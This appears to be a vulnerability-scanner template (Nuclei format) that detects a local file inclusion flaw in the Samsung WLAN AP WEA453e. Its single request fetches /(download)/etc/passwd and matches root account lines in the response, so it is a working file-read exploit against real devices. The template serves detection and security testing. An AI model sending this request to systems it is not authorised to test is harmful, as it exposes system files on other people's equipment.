id: samsung-wlan-ap-lfi

info:
  name: Samsung WLAN AP WEA453e - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Samsung WLAN AP WEA453e is susceptible to local file inclusion vulnerabilities.
  reference:
    - https://omriinbar.medium.com/samsung-wlan-ap-wea453e-vulnerabilities-7aa4a57d4dba
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: xss,samsung,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/(download)/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "bin:.*:1:1"
        part: body

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e4c24c2dc9e1ad60087ef9f84efb46302f58b10ca63d764c33708c7201f1d392022100cd33262db3c63f8531f5ecf557cfd79141ee1629fcde642d46bcfdd09ab5b949:922c64590222798bb761d5b6d8e72950